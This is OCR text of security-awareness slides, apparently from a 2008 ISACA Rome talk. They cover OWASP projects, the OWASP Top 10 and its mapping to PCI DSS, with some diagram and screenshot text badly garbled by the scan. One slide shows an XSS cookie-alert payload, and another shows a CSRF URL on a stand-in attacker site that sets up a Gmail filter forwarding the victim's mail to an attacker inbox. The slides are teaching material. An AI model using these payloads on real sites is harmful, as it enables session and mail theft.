= YWeb Services
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OWASP Enterprise Security API (ESAPI) Project

The ESAP! is a free and open collection of all the security methods that a developer needs to build a secure web application. ¥ou can just use the interfaces
and build your own implementation using your company's infrastructure. Or, you can use the reference implementation as a starting paint. In concept, the AP
is language independent. However, the first deliverables from the project are a Java APl and a Java reference implementation. Efforts to build ESAP! in NET
and PHP are already underway.

Unfortunately, the available platforms, framewarks, and toolkits (Java EE, Struts, Spring, etc...) simply do not provide enough protection. This leaves
developers with responsibility for designing and building security mechanisms. This reinventing the wheel for every application leads to wasted time and
massive security holes.

The cost savings through reduced development time, and the increased security due to using heavily analyzed and carefully designed security methods
provide developers with a massive advantage over organizations that are trying to deal with security using existing ad hoc secure coding technigues. This AP
is designed to automatically take care of many aspects of application security, making these issues invisible to the developers.

Architecture Overview Coverage
Al.&'nssSiteSu'iptiIlg(XSS) Validator, Encoder '
s M . B A3, HdidousﬁleEx%uution I'ITI'PUliitis(q)Ioa%)
INHURRARHALHREE s e et
E % g % % .E_ E E & g %‘ ﬂ.&mﬁtellequs}tforgely((skﬂ User (corftoken)

_a==a 2 E % 2 E 3 -§ E § S 6. Leakage and Improper Error Handling  EnterprisaSecuttyException, HTTPUtla
E 814 > |=:: o I - g = g A7. Broken Authentication and Sessions  Authenticator, User, HTTPULils
I £ i =8 A8.% Cvp % aphic Storag Encryptor :

A9, Incecure Comenmscatsens HﬂPUﬁitis(mrlzmolﬁq,dﬂIﬂ)

Existing Enterprise Security Services/Libraries P -
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Category: OWASF ASDR Project

Click here to return to OWWASP Projects page.
Click here to see (& edit, if wanted) the template.

PROJECT IDENTIFICATION
OWASP Application Security Desk Reference (ASDR) Project

This project is helpful as basic reference material when performing such activities as threat maodeling, security architecture review,
security testing, code review, and metrics. We intend to encourage understanding and consistency when discussing these basic
foundational elements of application security. Security only works if people can make informed decisions about risk. The ASDR
pravides that basic infarmation to help ensure all stakeholders are invalved.

Froject Leader Praject - : Second : : . OWASP
. Ilailing List . . . Third Reviewer Fourth Reviewer  Board
Leonardo Contributors . First Reviewer Heviewer i
. . . To subscribe - . Frederick Darren W. hember
Cavallari (if applicable) William Smith HKenneth Van
L i To use Donovan Challey Jeff
Militelli Name&Email Wk _
Williams

PROJECT MAIN LINKS

= ASDR Table of Contents
= OWASP ASDR Warkplan
= (If appropriate, more links to be added)

RELATED PROJECTS
= OWMYASP Honeycomb Project

= Common YWeakness Enumeration (CWE)
= Software Assurance Metrics and Toaol Evaluation (SAMATE)
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Category: OWASF WebGoat Project

OWASP This project has produced a book that can be downloaded or purchased.
Books Feel free to browse the full catalog of available OWVYASE books.

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach
web application security lessons. In each lessan, users must demaonstrate their understanding of a
security issue by exploiting a real vulnerability in the WebGoat application. For exarmple, in one of
the lessons the user must use 0L injection to steal fake credit card numbers. The application is a
realistic teaching environment, providing users with hints and code to further explain the lesson.

Why the name "WebGoat"? Developers should not feel bad about not knowing security. Even the
best programmers make security errors. What they need is a scapegoat, right? Just blame it on the
Soat!

To get started, read the WehGoat User and Install Guide

Goals

Weaaal Saarch

Web application security is difficult to learn and practice. Mot many people have full blown web Detailed solution hints &
applications like online book stores or online banks that can be used to scan for vulnerabilities. In
addition, secunty professionals frequently need to test tools against a platform known to be
wulnerable to ensure that they perfarm as advertizsed. All of this needs to happen in a safe and legal
ervironrment. Even if your intentions are good, we believe you should never atternpt to find
wulnerahilities without permissian.

N Wy s e i e il i ol

The prirmary goal of the WebGoat project is simple: create a de-facto interactive teaching
enviranyment for web apolication secuety. In the future. the oroiect tearm hopes to extend WebGoat
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Category. OWASF Encoding Froject

Overview

Waeb applications face any number of threats; one of them is cross-site scripting and related injection attacks. 30% of all web applications contain cross-site
scripting attacks because they are easy to introduce, and the proper tools are not always available to prevent them. The Refarm library provides a solid set of
functions for encoding output for the most common context targets in web applications (e.g. HTML, =ML, JavaScript, etc). The library also takes a
conservative view of what are allowable characters based on historical walnerabilities, and current injection techniques.

Goals

= Provide tools needed by developers to mitigate canonicalization issues in web technologies.
= Provide a solution that will not need to be patched (ho security patches since release in 2004, private implementations in use since 2002).

Download

Reform-0.12.zip (stable)

The latest code is now being maintained in a Google Code repository [1]

Features

= Unicode support
= Context specific functions (HTML, XML, JavaScript, etc)
u Many supported languages

= Java

= MET w1A2

= PHF

= Pythan

= Perl

= JavaScript

= ASF

[ mPUTRTUr Y SO BN RV
I
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navigation

Home

Mewwes

ChASP Projects
Dovvnloadds

Local Chapters
LppSec Job Board
AppSec Conferences
Prezentations
Wideo

Blogs

Get CWWASP Books
et CWASP Gear
hailing Lists

Sbout Chasp
Wembership

reference

Haow Ta..
Frinciples

Threat Agents
Attacks
“Yulnerabilties
Countermeasures
Activities
Technologies:
Gloszary

category discussion viewy SOUrce history

Category.OWASP Flash Security Project

Overview

OWAZP Flash Security Project is an open project for sharing a knowledge base in order to raise awareness around the subject of Flash applications security.
Goals

The OWASPE Flash Secunty Project aims is to produce guidelines and tools around Flash Security

Tools

Flash security testing SWFIntruder

White Papers

[1] Testing Flash Applications ppt, Stefano Di Paala, Cwasp Appsec 2007, 17th May 2007, Milan (ltaly).
[2] Finding Vulnerabilities in Flash Applications ppt, Stefano Di Paola, Owasp Appsec 2007, 15th Novernber 2007, San Jose CA [(USA)

Project Contributors
The Flash Security project is run by Stefano Di Paola. He can be contacted at stefano.dipaola AT mindedsecurity.com.
Project Sponsors

PN
&)
44

The Flash Security project is sponsored by <

Minded

sccurily
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Elle Modifica Visualizza Cronologia Segnalibrl  Strumenti  Guida
@& - - & {2 |l nttpuswr.mindedsecurity.Ipc/getVars.htmi?swrur=http%3A%2F%2Fswr.min » | b | [C]- [ &
SWEF INTRUDER | OWASP ;
\ ) The Open Web Application Securi Minded
Open Web Appl ty Project NeCuriLy
Wi | canfig History Halp Aot
Flash Movie P //swi.mindedsecurity loctestSwiftest swi |
Query Object | | ouey |
Undefined Variables SWF Instantiated Variables | Js/SWF Errors:
€1 _ur “roal.varTarget.onLoad
|| _root.de
_global.Test g s
_root.test _root.$version
_root.obj | | _root.image_mc
_root.sd _root.varTarget
s g e syt LSO “global. Test
[T
A 1 e lyean | el D]
pemd o Vs Db | U M) |
T | g | .1 0
e e |
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o . A T —
ilagt sy | Jrsht artings rool.varTarget -
g ! | 5
- — Search value
= type_string
= $version
- LNX 9,0,48,0
= type_string
» resolvefor
= type_string
= varToSend
* Sversion=LNX 8,0, 48, 0&amp;
= type_function
* __ resalve ||
In attesa di swf.mindedsecurity.loc... | &




‘ SACA 10) WebScarab (Release
T Rame Chapter Quality

(R Iﬁ |https:,l',l'www.Dwasp.Drg,findex.php,l’l:ategurv:OWP.SP_WebScaral:u_PrDject B‘f? - |'|G|:u:|g|e

2 Login f creste sccount

category dizcussion ViEny SOURCE history

Category: OWASP WebScarab Project

OWASP This project has produced a book that can be downloaded or purchased.
’ Books Feel free to browse the full catalog of available OWWASP boaoks.

Welcome to the WebhScarah Project

WebScarab is a framework for analysing applications that communicate using the HTTF and HTTPS protocols. It is written in Java, and is thus portable to
many platforms. YWebScarab has several modes of operation, implermented by a number of plugins. In its most common usage, YWebScarab operates as an
intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify
responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTF and HTTPS communication. The
operator can also review the conversations (requests and responses) that have passed through YWebScarab.

WebScarab ;lglil New User Interface
File View Tools Help A mentioned abowe, e uses nderace s changed que 3 1! form e old WebScarab. fgan form e sew delas LookF eel (HEoodies), you wll see that
the comersation viewer has changed guite & lot. The old “Raw” view is still there, but the Parzed version has changed quite dramatically - for the better, | hope
| Summary || Message log | ‘ Proxy ” Manual Request ” WebServices || Spider ” E: i ” ioniD Analysi: || Scripted ” Fr ” Fuzzer ” Compare | 1 yousTl agrane!
— . v e The Parsed view now shows the request and response details in a tree fommn, rather than in indaidual text boxes. This makes the interface look a ot cleaner,
¥ i ] and rore irnpontantly. is a lot more co 1.1 adso miakes it a lof easier 1o include features like automatically breaking out URL pararneters, and multiple
[ Tree Selection filters conwersation list cankies il T own nodies, where i il i b veirw fine sdoadusal parimetiees. Wie also show e seguest and the response nest o sach othes, silier
than one above the other, since most people seem 1o have more horizortsl real-estate than vestical. The splt between request and response can essily be
url | Methods | Status | SetCookie | Comments | Seripts " adjusted by dragging, 35 can the spht between the headers and the message content

¢ [ hitp oo, owiasp.org: 807 GET 301 Moved ... [m] .

& [ bannerss g =l

o [ mages/ [ ] ] Fle Edt Pugn Took Wrdow Hep

9 [ indexphp! [ | |

[y Main_Fage GET 200 0K ] Tioouke Prosy Control Ber

o [ skins! O ] ] aton View
D+ Date Method Host Path Parameters Status Qrigin http ot/ F el T ROENEER S
] UUEIES GET itp s owasp arg 80 fSkinsimonabookmarn U 0K Prixy ~ 11 A1l ) Webrsoat)
4 20060623, |GET hittp:fererv.0vea sp.org:80 fskinsicammoniEF ixes.. 200 0K Proxy 21nz5i3z2 .. MWebGoatimageshintLeftjpg J4 Mot
E] 2006/06123... [GET It ey, AR, 01080 JsKinsicommanicarm mo... 200 0K Proxy e WebGoal o SeStyle Sheel oss 304 Mot
2 00RO |GET http: /e owasp.arg:80|findex php/Main_Page 200 0K Proxy = - fWebGoatfirnagesint pg 304 Noit
1 2006/06/23.. [GET It e ovvasp . orgr80|f 301 Moved _|Priowy - hu=nard an bl W it
4 Il »

Parsed | Raw | ﬂ Parsed | Raw | o
=i GET hittp:focabost fwebboatRokBassdtccsssControl L ogn.asprst 1 HTTR 1.1 200 0%
0 stage-1 [ Server: Mcrosoft-lIS/5.1
) merept; imacyfaf, imange - xbitmap, image/jpes, imageipipe, sppbca | || -0 Date: Toe, 09 Jan 2007 11:25:31 GMT
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 The OWASP Guidelines are part of the same process

* For example: SQL Injection

— The Building Guide: tell your Company to develop an

application in a way to be protect by SQL Injection attacks

— The Code Review Guide: tell your Company how to make a
secure code of your software review. White Box Testing: we

now exactly how the function has been implemented

— The Testing Guide: tell your Company how to perform a SQL
injection test on your developed application. Black Box Testing:

we don’t hold the source code but only the application interface.

39



SACA Software development life cycle

Servire i professionisti dell'IT Governance

Rome Chapter

« Sofware Development Life Cycle, SDLC:
— Define
— Design
— Develop
— Deploy
— Maintain
* Which are the controls to implement?
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Before SDLC Define&Design Development Deploy&Maintenance
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‘ﬂSACA®| SDLC is not a box to buy
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Vulnerabilita e Categorie di test

Denial Of Service Testin

Data Validation Testing

Session Management

Authentication / Authorization

Business Logic Testing

Information Gathering

0 10 20 30 40 50 60

Percentuale

Source: Minded Security —20 Online Banking in Italy
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Data Validation Testing - Ditribuzione Vulnerabilita

Altre
Stored Procedure Injection
Code Injection

XML Injection

SQL Injection

Cross Site Scripting
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70% o

60% -

50% -

40% -

30% -

20% -

10% -

0% T T
Building Guide Code Review Guide Testing Guide

For a total of 15 Companies (Finance, Banking and Telco)
Source: Minded Security 2008
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A1: Cross Site A2: Injection A3: Malicious File Ad Inac Ol

Do - Direct Obhject
Scripting (XSS) Flaws Execution Reference

) . AG6: Information A7: Broken
Rgséggfgzrsgf Leakage and Authentication
e (CSRF) gery Improper Error and Session
Handling Management

A8: Insecure
Cryptographic
Storage

A10: Failure to
Restrict URL
Access

A9: Insecure
Communications

OWASP

The Open Web Application Security Project http://www.owasp.org/Zindex.php?title=Top_10_2007
hetp/fwww owasp.org
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| ! e
Develop all web applications 6.5.a Obtain and review software development
niefnal and external, and including web | processes for any web-based applications. Verify that
administrative access to application) processes require training in secure coding technigues for
based on secure coding guidelines such developers, and are based on guidance such as th
as the Open Web Appiication Security OWASP guide (hitp-//www owasp org). h
Project Guide. Cover prevention of

common coding vulnerabiliies in 6.5.b Interview a sample of developers and obtain

software development processes, to evidence that they are knowledgeabie in secure coding
include the following: techniques

Note- The vuinerabilities listed at 6.5.1 . -
through 6.5.10 were current in the 6.5.c Verify that processes are in place fo ensure that

OWASP guide when PCI DSS v1.2was | WED applications are not vulnerable to the following:
published. However, if and when the
OWASP guide is updated, the current

version must be used for these
requirements.

PCI DSS Requirements and Security Assessment Procedures, vi.2
Copyright 2008 PCI Securnity Standards Council LLC
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| OWASP Top10 & PCI v1.2

- Security e |
Standards Council

FCl DSS Requirements

6.5.1 Cross-site scripting (XSS)

6.5.2 Injection flaws, particulariy
SaLl injection. Also consider LDAP
and Xpath injection flaws as well as
other injection flaws.

6.5.3 MMalicious file execution

6.5.4 Insecure direct object
references

6.5.5 Cross-site reguest forgery
(CSRF)

6.5.6 Information leakage and

improper error handling

6.5.7 Broken authentication and
session management

6.5.8

Insecure ::rypiograph ic
storage
6.5.9 Insecure communications

6.5.10 Failure to resitrict URL access

Testing Procedures

6.5.1 Cross-site scripting (XSS) (Validate all
FZIEIFEI'I"EE.‘TETE bhefore 1”C|U5i0ﬂ._]

6.5.2 Iinjection flaws, particularly SQL inje-:t:rc:rr:
Walidate input to verify user data cannot modify meaning
of commands and gueries._)

6.5.3 Malicious file execution (alidate input to verify
application does not accept filenames or files from
users.)

&6.5.4 Insecure direct object references (Do not expose
internal object references fo users.)

&.5.5 Cross-site request forgery (CSRF) (Do not reply
on authornzation credentials and tokens automatically
submitted by browsers.)

6.5.6 Information leakage and improper error handling
(Do not leak Information via error messages or oiher
means. )

6.5.7 Broken authentication and session management
{Properhy autheniicate users and protect account
credentials and session tokens.)

6.5.8 Insecure cryptographic storage {F-‘revent

&6.5.9 Insecure communications (Properly encrypt all
authenticated and sensitive communications.)

&.5.10 Failure to restrict URL access {Consi-é:tentl'_-,f
enforce access control in presentation layer and business
logic for all URLs.)

11-12 ottobre 2008
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« More than 90% web sites suffer of XSS...

— What's the problem? Input is not validated from the application and is
send “as it” to the user (pattern input 2 output)

— Exploiting a XSS, an attacker can force a browser to execute his own
Javascript code.

« Contents are not validated...
— Reflected input (form field, hidden field, url, etc...) > Reflected XSS
— From a database = Stored XSS

— Content is interpreted from the client as a code that will be executed
(es. <script>)
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Home Page - Mozilla Firefox

File Edit Wiew Go Bookmarks Tools Help W
@ © @/ http://www.example.com -

P Disable™ HPCSS MyForms  [elImages iInformation  “3 Miscellaneous (& Outline

Help Center | Conta

Search field print in
o output the word
“;Usemame 2 Passwaord SearChed_

L Resize  Validatio

Userarme Help  Password Help mw rs"'a“ Business |[Commercial | 1
3. Sign On to: —
Individuals > Se Habla Espafiol
: Banking Loans & Credit Investing & Insurance
Need to set up online access? Cnling Conling Corodit oo bAubol En
. t | t( t . .
<script>aler documen .COOkle)</SCrl pt>
Check Today's Rates Open an Account Buying a house? Summer remodeling?
Mortgage, Home Equity, Credit e ) Diownload our First Make home
Card, & mare Apply Mow — It's fast, Time Homehuyers Guide | | improvements this
secure, and convenient. | o help you manage your | | summer with @ Home
Finish saved ! ;

e T Site sends the script

information securi V3

Abou A JSESSIOMID=07A201BEEGOFZ1CABDA147ASF16FI72B e to th e u Se r th at See

o ] i his session cookie.

21 Equal Housing Lender
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An attacker could...

— Stolen users’ credentials

— Make a defacement for the attacker user

— Track user requests

— Take the complete control of the user browser

Business impact
— Washington Post, NSA, ...
— Loss of trust from the users
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« CSRF: When

— The application permits to send requests in a not authorized
manner or send duplicate requests

— The application uses implicit authentication (session cookie)

e CSRF: How

The <IMG> attack:

— A Web site contains an <IMG> TAG inside the HTML code that
runs an action on the target site (<IMG> TAG has no restriction
to origin level)
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earch results for: hi tachment - Mozilla Firefox
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« Using a CSRF Redirection Utility - force the user to
create a filter

http://www._evilsite.i1t/csrf
?_method=POST& enctype=multipart/form-data
& action=https%3A//mail.google.com/mail/h/ewtljmuj4dd
v/%3Fvh3Dprf
&cft2_emc=true
&ct2 email=evilinbox@mailinator.com
&cftl from
&cfl t
&cftl subj
&cfl has
&cftl hasnot
&cfl attach=true
&tfi&s=z
&irf=on&nvp bu cftb=Create%20Fi1lter
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 An attacker could:
— Force the user to execute an action.
— Logging systems logs the real user.

* Business impact:

— Application’s users could be forced to execute banking disposal,
administrative function without notice it.
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 |f we have a weak authentication or session
management mechanism:

— It could possible to bypass the authentication mechanism->
Broken Authentication

— It could be possible to understand how the SESSIONID/Cookie
is generated - Broken session management

« HTTP is “stateless” protocol...

— every single request must be authenticated and validated

— SESSIONID/Cookie represent the user track that identify the
user each time he request a resource.
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Example:
— The application implements a strong authentication
with digital certificates.

— Is it possible to bypass the authentication schema,
manipulating a field in the POST HTTP?

— In the following example, it was possible to send a
different DN after the successfull SSL mututal
authentication with the proxy behind the application.
The result is that a user could authenticate on the
application impersonating another user without hold
the user certificate.
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 An attacker could...

— do everything on the application using the user
credentials or user session cookie

* Business impact
— Wall Street Journal story
— Privacy compliance violations
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Thank you!

Matteo Meucci
matteo.meucci@owasp.org
matteo.meucci@mindedsecurity.com
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